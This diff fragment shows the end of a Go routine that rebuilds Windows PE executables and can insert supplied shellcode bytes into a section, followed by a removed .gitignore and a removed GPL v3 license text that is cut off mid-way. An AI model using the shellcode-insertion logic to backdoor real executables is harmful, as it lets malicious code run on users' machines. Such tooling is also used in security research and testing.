bytesWritten += uint64(len(padding))
|
||||
}
|
||||
|
||||
// write PE header
|
||||
peMagic := []byte{'P', 'E', 0x00, 0x00}
|
||||
binary.Write(peBuf, binary.LittleEndian, peMagic)
|
||||
binary.Write(peBuf, binary.LittleEndian, peFile.FileHeader)
|
||||
bytesWritten += uint64(binary.Size(peFile.FileHeader) + len(peMagic))
|
||||
|
||||
var (
|
||||
is32bit bool
|
||||
oldCertTableOffset, oldCertTableSize uint32
|
||||
)
|
||||
|
||||
switch peFile.FileHeader.Machine {
|
||||
case IMAGE_FILE_MACHINE_I386:
|
||||
is32bit = true
|
||||
optionalHeader := peFile.OptionalHeader.(*OptionalHeader32)
|
||||
binary.Write(peBuf, binary.LittleEndian, peFile.OptionalHeader.(*OptionalHeader32))
|
||||
bytesWritten += uint64(binary.Size(optionalHeader))
|
||||
|
||||
oldCertTableOffset = optionalHeader.DataDirectory[CERTIFICATE_TABLE].VirtualAddress
|
||||
oldCertTableSize = optionalHeader.DataDirectory[CERTIFICATE_TABLE].Size
|
||||
case IMAGE_FILE_MACHINE_AMD64:
|
||||
is32bit = false
|
||||
optionalHeader := peFile.OptionalHeader.(*OptionalHeader64)
|
||||
binary.Write(peBuf, binary.LittleEndian, optionalHeader)
|
||||
bytesWritten += uint64(binary.Size(optionalHeader))
|
||||
|
||||
oldCertTableOffset = optionalHeader.DataDirectory[CERTIFICATE_TABLE].VirtualAddress
|
||||
oldCertTableSize = optionalHeader.DataDirectory[CERTIFICATE_TABLE].Size
|
||||
default:
|
||||
return nil, errors.New("architecture not supported")
|
||||
}
|
||||
|
||||
// write section headers
|
||||
sectionHeaders := make([]SectionHeader32, len(peFile.Sections))
|
||||
for idx, section := range peFile.Sections {
|
||||
// write section header
|
||||
sectionHeader := SectionHeader32{
|
||||
Name: section.OriginalName,
|
||||
VirtualSize: section.VirtualSize,
|
||||
VirtualAddress: section.VirtualAddress,
|
||||
SizeOfRawData: section.Size,
|
||||
PointerToRawData: section.Offset,
|
||||
PointerToRelocations: section.PointerToRelocations,
|
||||
PointerToLineNumbers: section.PointerToLineNumbers,
|
||||
NumberOfRelocations: section.NumberOfRelocations,
|
||||
NumberOfLineNumbers: section.NumberOfLineNumbers,
|
||||
Characteristics: section.Characteristics,
|
||||
}
|
||||
|
||||
// if the PE file was pulled from memory, the symbol table offset in the header will be wrong.
|
||||
// Fix it up by picking the section that lines up, and use the raw offset instead.
|
||||
if peFile.FileHeader.PointerToSymbolTable == sectionHeader.VirtualAddress {
|
||||
peFile.FileHeader.PointerToSymbolTable = sectionHeader.PointerToRawData
|
||||
}
|
||||
|
||||
sectionHeaders[idx] = sectionHeader
|
||||
|
||||
//log.Printf("section: %+v\nsectionHeader: %+v\n", section, sectionHeader)
|
||||
|
||||
binary.Write(peBuf, binary.LittleEndian, sectionHeader)
|
||||
bytesWritten += uint64(binary.Size(sectionHeader))
|
||||
}
|
||||
|
||||
// write sections' data
|
||||
for idx, sectionHeader := range sectionHeaders {
|
||||
section := peFile.Sections[idx]
|
||||
sectionData, err := section.Data()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if sectionData == nil { // for sections that weren't in the original file
|
||||
sectionData = []byte{}
|
||||
}
|
||||
if section.Offset != 0 && bytesWritten < uint64(section.Offset) {
|
||||
pad := make([]byte, uint64(section.Offset)-bytesWritten)
|
||||
peBuf.Write(pad)
|
||||
//log.Printf("Padding before section %s at %x: length:%x to:%x\n", section.Name, bytesWritten, len(pad), section.Offset)
|
||||
bytesWritten += uint64(len(pad))
|
||||
}
|
||||
// if our shellcode insertion address is inside this section, insert it at the correct offset in sectionData
|
||||
if peFile.InsertionAddr >= section.Offset && int64(peFile.InsertionAddr) < (int64(section.Offset)+int64(section.Size)-int64(len(peFile.InsertionBytes))) {
|
||||
sectionData = append(sectionData, peFile.InsertionBytes[:]...)
|
||||
datalen := len(sectionData)
|
||||
if sectionHeader.SizeOfRawData > uint32(datalen) {
|
||||
paddingSize := sectionHeader.SizeOfRawData - uint32(datalen)
|
||||
padding := make([]byte, paddingSize, paddingSize)
|
||||
sectionData = append(sectionData, padding...)
|
||||
//log.Printf("Padding after section %s: length:%d\n", section.Name, paddingSize)
|
||||
}
|
||||
}
|
||||
|
||||
binary.Write(peBuf, binary.LittleEndian, sectionData)
|
||||
bytesWritten += uint64(len(sectionData))
|
||||
}
|
||||
|
||||
// write symbols
|
||||
binary.Write(peBuf, binary.LittleEndian, peFile.COFFSymbols)
|
||||
bytesWritten += uint64(binary.Size(peFile.COFFSymbols))
|
||||
|
||||
// write the string table
|
||||
binary.Write(peBuf, binary.LittleEndian, peFile.StringTable)
|
||||
bytesWritten += uint64(binary.Size(peFile.StringTable))
|
||||
|
||||
var newCertTableOffset, newCertTableSize uint32
|
||||
|
||||
// write the certificate table
|
||||
if peFile.CertificateTable != nil {
|
||||
newCertTableOffset = uint32(bytesWritten)
|
||||
newCertTableSize = uint32(len(peFile.CertificateTable))
|
||||
} else {
|
||||
newCertTableOffset = 0
|
||||
newCertTableSize = 0
|
||||
}
|
||||
|
||||
binary.Write(peBuf, binary.LittleEndian, peFile.CertificateTable)
|
||||
bytesWritten += uint64(len(peFile.CertificateTable))
|
||||
|
||||
peData := peBuf.Bytes()
|
||||
|
||||
// write the offset and size of the new Certificate Table if it changed
|
||||
if newCertTableOffset != oldCertTableOffset || newCertTableSize != oldCertTableSize {
|
||||
certTableInfo := &DataDirectory{
|
||||
VirtualAddress: newCertTableOffset,
|
||||
Size: newCertTableSize,
|
||||
}
|
||||
|
||||
var certTableInfoBuf bytes.Buffer
|
||||
binary.Write(&certTableInfoBuf, binary.LittleEndian, certTableInfo)
|
||||
|
||||
var certTableLoc int64
|
||||
if is32bit {
|
||||
certTableLoc = int64(peFile.DosHeader.AddressOfNewExeHeader) + 24 + 128
|
||||
} else {
|
||||
certTableLoc = int64(peFile.DosHeader.AddressOfNewExeHeader) + 24 + 144
|
||||
}
|
||||
|
||||
peData = append(peData[:certTableLoc], append(certTableInfoBuf.Bytes(), peData[int(certTableLoc)+binary.Size(certTableInfo):]...)...)
|
||||
}
|
||||
|
||||
return peData, nil
|
||||
}
|
||||
|
||||
func (peFile *File) WriteFile(destFile string) error {
|
||||
f, err := os.Create(destFile)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer f.Close()
|
||||
|
||||
peData, err := peFile.Bytes()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
_, err = f.Write(peData)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -1,15 +0,0 @@
|
||||
# Binaries for programs and plugins
|
||||
*.exe
|
||||
*.exe~
|
||||
*.dll
|
||||
*.so
|
||||
*.dylib
|
||||
|
||||
# Test binary, built with `go test -c`
|
||||
*.test
|
||||
|
||||
# Output of the go coverage tool, specifically when used with LiteIDE
|
||||
*.out
|
||||
|
||||
# Dependency directories (remove the comment below to include it)
|
||||
# vendor/
|
||||
-674
@@ -1,674 +0,0 @@
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
Version 3, 29 June 2007
|
||||
|
||||
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
|
||||
Preamble
|
||||
|
||||
The GNU General Public License is a free, copyleft license for
|
||||
software and other kinds of works.
|
||||
|
||||
The licenses for most software and other practical works are designed
|
||||
to take away your freedom to share and change the works. By contrast,
|
||||
the GNU General Public License is intended to guarantee your freedom to
|
||||
share and change all versions of a program--to make sure it remains free
|
||||
software for all its users. We, the Free Software Foundation, use the
|
||||
GNU General Public License for most of our software; it applies also to
|
||||
any other work released this way by its authors. You can apply it to
|
||||
your programs, too.
|
||||
|
||||
When we speak of free software, we are referring to freedom, not
|
||||
price. Our General Public Licenses are designed to make sure that you
|
||||
have the freedom to distribute copies of free software (and charge for
|
||||
them if you wish), that you receive source code or can get it if you
|
||||
want it, that you can change the software or use pieces of it in new
|
||||
free programs, and that you know you can do these things.
|
||||
|
||||
To protect your rights, we need to prevent others from denying you
|
||||
these rights or asking you to surrender the rights. Therefore, you have
|
||||
certain responsibilities if you distribute copies of the software, or if
|
||||
you modify it: responsibilities to respect the freedom of others.
|
||||
|
||||
For example, if you distribute copies of such a program, whether
|
||||
gratis or for a fee, you must pass on to the recipients the same
|
||||
freedoms that you received. You must make sure that they, too, receive
|
||||
or can get the source code. And you must show them these terms so they
|
||||
know their rights.
|
||||
|
||||
Developers that use the GNU GPL protect your rights with two steps:
|
||||
(1) assert copyright on the software, and (2) offer you this License
|
||||
giving you legal permission to copy, distribute and/or modify it.
|
||||
|
||||
For the developers' and authors' protection, the GPL clearly explains
|
||||
that there is no warranty for this free software. For both users' and
|
||||
authors' sake, the GPL requires that modified versions be marked as
|
||||
changed, so that their problems will not be attributed erroneously to
|
||||
authors of previous versions.
|
||||
|
||||
Some devices are designed to deny users access to install or run
|
||||
modified versions of the software inside them, although the manufacturer
|
||||
can do so. This is fundamentally incompatible with the aim of
|
||||
protecting users' freedom to change the software. The systematic
|
||||
pattern of such abuse occurs in the area of products for individuals to
|
||||
use, which is precisely where it is most unacceptable. Therefore, we
|
||||
have designed this version of the GPL to prohibit the practice for those
|
||||
products. If such problems arise substantially in other domains, we
|
||||
stand ready to extend this provision to those domains in future versions
|
||||
of the GPL, as needed to protect the freedom of users.
|
||||
|
||||
Finally, every program is threatened constantly by software patents.
|
||||
States should not allow patents to restrict development and use of
|
||||
software on general-purpose computers, but in those that do, we wish to
|
||||
avoid the special danger that patents applied to a free program could
|
||||
make it effectively proprietary. To prevent this, the GPL assures that
|
||||
patents cannot be used to render the program non-free.
|
||||
|
||||
The precise terms and conditions for copying, distribution and
|
||||
modification follow.
|
||||
|
||||
TERMS AND CONDITIONS
|
||||
|
||||
0. Definitions.
|
||||
|
||||
"This License" refers to version 3 of the GNU General Public License.
|
||||
|
||||
"Copyright" also means copyright-like laws that apply to other kinds of
|
||||
works, such as semiconductor masks.
|
||||
|
||||
"The Program" refers to any copyrightable work licensed under this
|
||||
License. Each licensee is addressed as "you". "Licensees" and
|
||||
"recipients" may be individuals or organizations.
|
||||
|
||||
To "modify" a work means to copy from or adapt all or part of the work
|
||||
in a fashion requiring copyright permission, other than the making of an
|
||||
exact copy. The resulting work is called a "modified version" of the
|
||||
earlier work or a work "based on" the earlier work.
|
||||
|
||||
A "covered work" means either the unmodified Program or a work based
|
||||
on the Program.
|
||||
|
||||
To "propagate" a work means to do anything with it that, without
|
||||
permission, would make you directly or secondarily liable for
|
||||
infringement under applicable copyright law, except executing it on a
|
||||
computer or modifying a private copy. Propagation includes copying,
|
||||
distribution (with or without modification), making available to the
|
||||
public, and in some countries other activities as well.
|
||||
|
||||
To "convey" a work means any kind of propagation that enables other
|
||||
parties to make or receive copies. Mere interaction with a user through
|
||||
a computer network, with no transfer of a copy, is not conveying.
|
||||
|
||||
An interactive user interface displays "Appropriate Legal Notices"
|
||||
to the extent that it includes a convenient and prominently visible
|
||||
feature that (1) displays an appropriate copyright notice, and (2)
|
||||
tells the user that there is no warranty for the work (except to the
|
||||
extent that warranties are provided), that licensees may convey the
|
||||
work under this License, and how to view a copy of this License. If
|
||||
the interface presents a list of user commands or options, such as a
|
||||
menu, a prominent item in the list meets this criterion.
|
||||
|
||||
1. Source Code.
|
||||
|
||||
The "source code" for a work means the preferred form of the work
|
||||
for making modifications to it. "Object code" means any non-source
|
||||
form of a work.
|
||||
|
||||
A "Standard Interface" means an interface that either is an official
|
||||
standard defined by a recognized standards body, or, in the case of
|
||||
interfaces specified for a particular programming language, one that
|
||||
is widely used among developers working in that language.
|
||||
|
||||
The "System Libraries" of an executable work include anything, other
|
||||
than the work as a whole, that (a) is included in the normal form of
|
||||
packaging a Major Component, but which is not part of that Major
|
||||
Component, and (b) serves only to enable use of the work with that
|
||||
Major Component, or to implement a Standard Interface for which an
|
||||
implementation is available to the public in source code form. A
|
||||
"Major Component", in this context, means a major essential component
|
||||
(kernel, window system, and so on) of the specific operating system
|
||||
(if any) on which the executable work runs, or a compiler used to
|
||||
produce the work, or an object code interpreter used to run it.
|
||||
|
||||
The "Corresponding Source" for a work in object code form means all
|
||||
the source code needed to generate, install, and (for an executable
|
||||
work) run the object code and to modify the work, including scripts to
|
||||
control those activities. However, it does not include the work's
|
||||
System Libraries, or general-purpose tools or generally available free
|
||||
programs which are used unmodified in performing those activities but
|
||||
which are not part of the work. For example, Corresponding Source
|
||||
includes interface definition files associated with source files for
|
||||
the work, and the source code for shared libraries and dynamically
|
||||
linked subprograms that the work is specifically designed to require,
|
||||
such as by intimate data communication or control flow between those
|
||||
subprograms and other parts of the work.
|
||||
|
||||
The Corresponding Source need not include anything that users
|
||||
can regenerate automatically from other parts of the Corresponding
|
||||
Source.
|
||||
|
||||
The Corresponding Source for a work in source code form is that
|
||||
same work.
|
||||
|
||||
2. Basic Permissions.
|
||||
|
||||
All rights granted under this License are granted for the term of
|
||||
copyright on the Program, and are irrevocable provided the stated
|
||||
conditions are met. This License explicitly affirms your unlimited
|
||||
permission to run the unmodified Program. The output from running a
|
||||
covered work is covered by this License only if the output, given its
|
||||
content, constitutes a covered work. This License acknowledges your
|
||||
rights of fair use or other equivalent, as provided by copyright law.
|
||||
|
||||
You may make, run and propagate covered works that you do not
|
||||
convey, without conditions so long as your license otherwise remains
|
||||
in force. You may convey covered works to others for the sole purpose
|
||||
of having them make modifications exclusively for you, or provide you
|
||||
with facilities for running those works, provided that you comply with
|
||||
the terms of this License in conveying all material for which you do
|
||||
not control copyright. Those thus making or running the covered works
|
||||
for you must do so exclusively on your behalf, under your direction
|
||||
and control, on terms that prohibit them from making any copies of
|
||||
your copyrighted material outside their relationship with you.
|
||||
|
||||
Conveying under any other circumstances is permitted solely under
|
||||
the conditions stated below. Sublicensing is not allowed; section 10
|
||||
makes it unnecessary.
|
||||
|
||||
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
|
||||
|
||||
No covered work shall be deemed part of an effective technological
|
||||
measure under any applicable law fulfilling obligations under article
|
||||
11 of the WIPO copyright treaty adopted on 20 December 1996, or
|
||||
similar laws prohibiting or restricting circumvention of such
|
||||
measures.
|
||||
|
||||
When you convey a covered work, you waive any legal power to forbid
|
||||
circumvention of technological measures to the extent such circumvention
|
||||
is effected by exercising rights under this License with respect to
|
||||
the covered work, and you disclaim any intention to limit operation or
|
||||
modification of the work as a means of enforcing, against the work's
|
||||
users, your or third parties' legal rights to forbid circumvention of
|
||||
technological measures.
|
||||
|
||||
4. Conveying Verbatim Copies.
|
||||
|
||||
You may convey verbatim copies of the Program's source code as you
|
||||
receive it, in any medium, provided that you conspicuously and
|
||||
appropriately publish on each copy an appropriate copyright notice;
|
||||
keep intact all notices stating that this License and any
|
||||
non-permissive terms added in accord with section 7 apply to the code;
|
||||
keep intact all notices of the absence of any warranty; and give all
|
||||
recipients a copy of this License along with the Program.
|
||||
|
||||
You may charge any price or no price for each copy that you convey,
|
||||
and you may offer support or warranty protection for a fee.
|
||||
|
||||
5. Conveying Modified Source Versions.
|
||||
|
||||
You may convey a work based on the Program, or the modifications to
|
||||
produce it from the Program, in the form of source code under the
|
||||
terms of section 4, provided that you also meet all of these conditions:
|
||||
|
||||
a) The work must carry prominent notices stating that you modified
|
||||
it, and giving a relevant date.
|
||||
|
||||
b) The work must carry prominent notices stating that it is
|
||||
released under this License and any conditions added under section
|
||||
7. This requirement modifies the requirement in section 4 to
|
||||
"keep intact all notices".
|
||||
|
||||
c) You must license the entire work, as a whole, under this
|
||||
License to anyone who comes into possession of a copy. This
|
||||
License will therefore apply, along with any applicable section 7
|
||||
additional terms, to the whole of the work, and all its parts,
|
||||
regardless of how they are packaged. This License gives no
|
||||
permission to license the work in any other way, but it does not
|
||||
invalidate such permission if you have separately received it.
|
||||
|
||||
d) If the work has interactive user interfaces, each must display
|
||||
Appropriate Legal Notices; however, if the Program has interactive
|
||||
interfaces that do not display Appropriate Legal Notices, your
|
||||
work need not make them do so.
|
||||
|
||||
A compilation of a covered work with other separate and independent
|
||||
works, which are not by their nature extensions of the covered work,
|
||||
and which are not combined with it such as to form a larger program,
|
||||
in or on a volume of a storage or distribution medium, is called an
|
||||
"aggregate" if the compilation and its resulting copyright are not
|
||||
used to limit the access or legal rights of the compilation's users
|
||||
beyond what the individual works permit. Inclusion of a covered work
|
||||
in an aggregate does not cause this License to apply to the other
|
||||
parts of the aggregate.
|
||||
|
||||
6. Conveying Non-Source Forms.
|
||||
|
||||
You may convey a covered work in object code form under the terms
|
||||
of sections 4 and 5, provided that you also convey the
|
||||
machine-readable Corresponding Source under the terms of this License,
|
||||
in one of these ways:
|
||||
|
||||
a) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by the
|
||||
Corresponding Source fixed on a durable physical medium
|
||||
customarily used for software interchange.
|
||||
|
||||
b) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by a
|
||||
written offer, valid for at least three years and valid for as
|
||||
long as you offer spare parts or customer support for that product
|
||||
model, to give anyone who possesses the object code either (1) a
|
||||
copy of the Corresponding Source for all the software in the
|
||||
product that is covered by this License, on a durable physical
|
||||
medium customarily used for software interchange, for a price no
|
||||
more than your reasonable cost of physically performing this
|
||||
conveying of source, or (2) access to copy the
|
||||
Corresponding Source from a network server at no charge.
|
||||
|
||||
c) Convey individual copies of the object code with a copy of the
|
||||
written offer to provide the Corresponding Source. This
|
||||
alternative is allowed only occasionally and noncommercially, and
|
||||
only if you received the object code with such an offer, in accord
|
||||
with subsection 6b.
|
||||
|
||||
d) Convey the object code by offering access from a designated
|
||||
place (gratis or for a charge), and offer equivalent access to the
|
||||
Corresponding Source in the same way through the same place at no
|
||||
further charge. You need not require recipients to copy the
|
||||
Corresponding Source along with the object code. If the place to
|
||||
copy the object code is a network server, the Corresponding Source
|
||||
may be on a different server (operated by you or a third party)
|
||||
that supports equivalent copying facilities, provided you maintain
|
||||
clear directions next to the object code saying where to find the
|
||||
Corresponding Source. Regardless of what server hosts the
|
||||
Corresponding Source, you remain obligated to ensure that it is
|
||||
available for as long as needed to satisfy these requirements.
|
||||
|
||||
e) Convey the object code using peer-to-peer transmission, provided
|
||||
you inform other peers where the object code and Corresponding
|
||||
Source of the work are being offered to the general public at no
|
||||
charge under subsection 6d.
|
||||
|
||||
A separable portion of the object code, whose source code is excluded
|
||||
from the Corresponding Source as a System Library, need not be
|
||||
included in conveying the object code work.
|
||||
|
||||
A "User Product" is either (1) a "consumer product", which means any
|
||||
tangible personal property which is normally used for personal, family,
|
||||
or household purposes, or (2) anything designed or sold for incorporation
|
||||
into a dwelling. In determining whether a product is a consumer product,
|
||||
doubtful cases shall be resolved in favor of coverage. For a particular
|
||||
product received by a particular user, "normally used" refers to a
|
||||
typical or common use of that class of product, regardless of the status
|
||||
of the particular user or of the way in which the particular user
|
||||
actually uses, or expects or is expected to use, the product. A product
|
||||
is a consumer product regardless of whether the product has substantial
|
||||
commercial, industrial or non-consumer uses, unless such uses represent
|
||||
the only significant mode of use of the product.
|
||||
|
||||
"Installation Information" for a User Product means any methods,
|
||||
procedures, authorization keys, or other information required to install
|
||||
and execute modified versions of a covered work in that User Product from
|
||||
a modified version of its Corresponding Source. The information must
|
||||
suffice to ensure that the continued functioning of the modified object
|
||||
code is in no case prevented or interfered with solely because
|
||||
modification has been made.
|
||||
|
||||
If you convey an object code work under this section in, or with, or
|
||||
specifically for use in, a User Product, and the conveying occurs as
|
||||
part of a transaction in which the right of possession and use of the
|
||||
User Product is transferred to the recipient in perpetuity or for a
|
||||
fixed term (regardless of how the transaction is characterized), the
|
||||
Corresponding Source conveyed under this section must be accompanied
|
||||
by the Installation Information. But this requirement does not apply
|
||||
if neither you nor any third party retains the ability to install
|
||||
modified object code on the User Product (for example, the work has
|
||||
been installed in ROM).
|
||||
|
||||
The requirement to provide Installation Information does not include a
|
||||
requirement to continue to provide support service, warranty, or updates
|
||||
for a work that has been modified or installed by the recipient, or for
|
||||
the User Product in which it has been modified or installed. Access to a
|
||||
network may be denied when the modification itself materially and
|
||||
adversely affects the operation of the network or violates the rules and
|
||||
protocols for communication across the network.
|
||||
|
||||
Corresponding Source conveyed, and Installation Information provided,
|
||||
in accord with this section must be in a format that is publicly
|
||||
documented (and with an implementation available to the public in
|
||||
source code form), and must require no special password or key for
|
||||
unpacking, reading or copying.
|
||||
|
||||
7. Additional Terms.
|
||||
|
||||
"Additional permissions" are terms that supplement the terms of this
|
||||
License by making exceptions from one or more of its conditions.
|
||||
Additional permissions that are applicable to the entire Program shall
|
||||
be treated as though they were included in this License, to the extent
|
||||
that they are valid under applicable law. If additional permissions
|
||||
apply only to part of the Program, that part may be used separately
|
||||
under those permissions, but the entire Program remains governed by
|
||||
this License without regard to the additional permissions.
|
||||
|
||||
When you convey a copy of a covered work, you may at your option
|
||||
remove any additional permissions from that copy, or from any part of
|
||||
it. (Additional permissions may be written to require their own
|
||||
removal in certain cases when you modify the work.) You may place
|
||||
additional permissions on material, added by you to a covered work,
|
||||
for which you have or can give appropriate copyright permission.
|
||||
|
||||
Notwithstanding any other provision of this License, for material you
|
||||
add to a covered work, you may (if authorized by the copyright holders of
|
||||
that material) supplement the terms of this License with terms:
|
||||
|
||||
a) Disclaiming warranty or limiting liability differently from the
|
||||
terms of sections 15 and 16 of this License; or
|
||||
|
||||
b) Requiring preservation of specified reasonable legal notices or
|
||||
author attributions in that material or in the Appropriate Legal
|
||||
Notices displayed by works containing it; or
|
||||
|
||||
c) Prohibiting misrepresentation of the origin of that material, or
|
||||
requiring that modified versions of such material be marked in
|
||||
reasonable ways as different from the original version; or
|
||||
|
||||
d) Limiting the use for publicity purposes of names of licensors or
|
||||
authors of the material; or
|
||||
|
||||
e) Declining to grant rights under trademark law for use of some
|
||||
trade names, trademarks, or service marks; or
|
||||
|
||||
f) Requiring indemnification of licensors and authors of that
|
||||
material by anyone who conveys the material (or modified versions of
|
||||
it) with contractual assumptions of liability to the recipient, for
|
||||
any liability that these contractual assumptions directly impose on
|
||||
those licensors and authors.
|
||||
|
||||
All other non-permissive additional terms are considered "further
|
||||
restrictions" within the meaning of section 10. If the Program as you
|
||||
received it, or any part of it, contains a notice stating that it is
|
||||
governed by this License along with a term that is a further
|
||||
restriction, you may remove that term. If a license document contains
|
||||
a further restriction but permits relicensing or conveying under this
|
||||
License, you may add to a covered work material governed by the terms
|
||||
of that license document, provided that the further restriction does
|
||||
not survive such relicensing or conveying.
|
||||
|
||||
If you add terms to a covered work in accord with this section, you
|
||||
must place, in the relevant source files, a statement of the
|
||||
additional terms that apply to those files, or a notice indicating
|
||||
where to find the applicable terms.
|
||||
|
||||
Additional terms, permissive or non-permissive, may be stated in the
|
||||
form of a separately written license, or stated as exceptions;
|
||||
the above requirements apply either way.
|
||||
|
||||
8. Termination.
|
||||
|
||||
You may not propagate or modify a covered work except as expressly
|
||||
provided under this License. Any attempt otherwise to propagate or
|
||||
modify it is void, and will automatically terminate your rights under
|
||||
this License (including any patent licenses granted under the third
|
||||
paragraph of section 11).
|
||||
|
||||
However, if you cease all violation of this License, then your
|
||||
license from a particular copyright holder is reinstated (a)
|
||||
provisionally, unless and until the copyright holder explicitly and
|
||||
finally terminates your license, and (b) permanently, if the copyright
|
||||
holder fails to notify you of the violation by some reasonable means
|
||||
prior to 60 days after the cessation.
|
||||
|
||||
Moreover, your license from a particular copyright holder is
|
||||
reinstated permanently if the copyright holder notifies you of the
|
||||
violation by some reasonable means, this is the first time you have
|
||||
received notice of violation of this License (for any work) from that
|
||||
copyright holder, and you cure the violation prior to 30 days after
|
||||
your receipt of the notice.
|
||||
|
||||
Termination of your rights under this section does not terminate the
|
||||
licenses of parties who have received copies or rights from you under
|
||||
this License. If your rights have been terminated and not permanently
|
||||
reinstated, you do not qualify to receive new licenses for the same
|
||||
material under section 10.
|
||||
|
||||
9. Acceptance Not Required for Having Copies.
|
||||
|
||||
You are not required to accept this License in order to receive or
|
||||
run a copy of the Program. Ancillary propagation of a covered work
|
||||
occurring solely as a consequence of using peer-to-peer transmission
|
||||
to receive a copy likewise does not require acceptance. However,
|
||||
nothing other than this License grants you permission to propagate or
|
||||
modify any covered work. These actions infringe copyright if you do
|
||||
not accept this License. Therefore, by modifying or propagating a
|
||||
covered work, you indicate your acceptance of this License to do so.
|
||||
|
||||
10. Automatic Licensing of Downstream Recipients.
|
||||
|
||||
Each time you convey a covered work, the recipient automatically
|
||||
receives a license from the original licensors, to run, modify and
|
||||
propagate that work, subject to this License. You are not responsible
|
||||
for enforcing compliance by third parties with this License.
|
||||
|
||||
An "entity transaction" is a transaction transferring control of an
|
||||
organization, or substantially all assets of one, or subdividing an
|
||||
organization, or merging organizations. If propagation of a covered
|
||||
work results from an entity transaction, each party to that
|
||||
transaction who receives a copy of the work also receives whatever
|
||||
licenses to the work the party's predecessor in interest had or could
|
||||
give under the previous paragraph, plus a right to possession of the
|
||||
Corresponding Source of the work from the predecessor in interest, if
|
||||
the predecessor has it or can get it with reasonable efforts.
|
||||
|
||||
You may not impose any further restrictions on the exercise of the
|
||||
rights granted or affirmed under this License. For example, you may
|
||||
not impose a license fee, royalty, or other charge for exercise of
|
||||
rights granted under this License, and you may not initiate litigation
|
||||
(including a cross-claim or counterclaim in a lawsuit) alleging that
|
||||
any patent claim is infringed by making, using, selling, offering for
|
||||
sale, or importing the Program or any portion of it.
|
||||
|
||||
11. Patents.
|
||||
|
||||
A "contributor" is a copyright holder who authorizes use under this
|
||||
License of the Program or a work on which the Program is based. The
|
||||
work thus licensed is called the contributor's "contributor version".
|
||||
|
||||
A contributor's "essential patent claims" are all patent claims
|
||||
owned or controlled by the contributor, whether already acquired or
|
||||
hereafter acquired, that would be infringed by some manner, permitted
|
||||
by this License, of making, using, or selling its contributor version,
|
||||
but do not include claims that would be infringed only as a
|
||||
consequence of further modification of the contributor version. For
|
||||
purposes of this definition, "control" includes the right to grant
|
||||
patent sublicenses in a manner consistent with the requirements of
|
||||
this License.
|
||||
|
||||
Each contributor grants you a non-exclusive, worldwide, royalty-free
|
||||
patent license under the contributor's essential patent claims, to
|
||||
make, use, sell, offer for sale, import and otherwise run, modify and
|
||||
propagate the contents of its contributor version.
|
||||
|
||||
In the following three paragraphs, a "patent license" is any express
|
||||
agreement or commitment, however denominated, not to enforce a patent
|
||||
(such as an express permission to practice a patent or covenant not to
|
||||
sue for patent infringement). To "grant" such a patent license to a
|
||||
party means to make such an agreement or commitment not to enforce a
|
||||
patent against the party.
|
||||
|
||||
If you convey a covered work, knowingly relying on a patent license,
|
||||
and the Corresponding Source of the work is not available for anyone
|
||||
to copy, free of charge and under the terms of this License, through a
|
||||
publicly available network server or other readily accessible means,
|
||||
then you must either (1) cause the Corresponding Source to be so
|
||||
available, or (2) arrange to deprive yourself of the benefit of the
|
||||
patent license for this particular work, or (3) arrange, in a manner
|
||||
consistent with the requirements of this License, to extend the patent
|
||||
license to downstream recipients. "Knowingly relying" means you have
|
||||
actual knowledge that, but for the patent license, your conveying the
|
||||
covered work in a country, or your recipient's use of the covered work
|
||||
in a country, would infringe one or more identifiable patents in that
|
||||
country that you have reason to believe are valid.
|
||||
|
||||
If, pursuant to or in connection with a single transaction or
|
||||
arrangement, you convey, or propagate by procuring conveyance of, a
|
||||
covered work, and grant a patent license to some of the parties
|
||||
receiving the covered work authorizing them to use, propagate, modify
|
||||
or convey a specific copy of the covered work, then the patent license
|
||||
you grant is automatically extended to all recipients of the covered
|
||||
work and works based on it.
|
||||
|
||||
A patent license is "discriminatory" if it does not include within
|
||||
the scope of its coverage, prohibits the exercise of, or is
|
||||
conditioned on the non-exercise of one or more of the rights that are
|
||||
specifically granted under this License. You may not convey a covered
|
||||
work if you are a party to an arrangement with a third party that is
|
||||
in the business of distributing software, under which you make payment
|
||||
to the third party based on the extent of your activity of conveying
|
||||
the work, and under which the third party grants, to any of the
|
||||
parties who would receive the covered work from you, a discriminatory
|
||||
patent license (a) in connection with copies of the covered work
|
||||
conveyed by you (or copies made from those copies), or (b) primarily
|
||||
for and in connection with specific products or compilations that
|
||||
contain the covered work, unless you entered into that arrangement,
|
||||
or that patent license was granted, prior to 28 March 2007.
|
||||
|
||||
Nothing in this License shall be construed as excluding or limiting
|
||||
any implied license or other defenses to infringement that may
|
||||
otherwise be available to you under applicable patent law.
|
||||
|
||||
12. No Surrender of Others' Freedom.
|
||||
|
||||
If conditions are imposed on you (whether by court order, agreement or
|
||||
otherwise) that contradict the conditions of this License, they do not
|
||||
excuse you from the conditions of this License. If you cannot convey a
|
||||
covered work so as to satisfy simultaneously your obligations under this
|
||||
License and any other pertinent obligations, then as a consequence you may
|
||||
not convey it at all. For example, if you agree to terms that obligate you
|
||||
to collect a royalty for further conveying from those to whom you convey
|
||||
the Program, the only way you could satisfy both those terms and this
|
||||
License would be to refrain entirely from conveying the Program.
|
||||
|
||||
13. Use with the GNU Affero General Public License.
|
||||
|
||||
Notwithstanding any other provision of this License, you have
|
||||
permission to link or combine any covered work with a work licensed
|
||||
under version 3 of the GNU Affero General Public License into a single
|
||||
combined work, and to convey the resulting work. The terms of this
|
||||
License will continue to apply to the part which is the covered work,
|
||||
but the special requirements of the GNU Affero General Public License,
|
||||
section 13, concerning interaction through a network will apply to the
|
||||
combination as such.
|
||||
|
||||
14. Revised Versions of this License.
|
||||
|
||||
The Free Software Foundation may publish revised and/or new versions of
|
||||
the GNU General Public License from time to time. Such new versions will
|
||||
be similar in spirit to the present version, but may differ in detail to
|
||||
address new problems or concerns.
|
||||
|
||||
Each version is given a distinguishing version number. If the
|
||||
Program specifies that a certain numbered version of the GNU General
|
||||
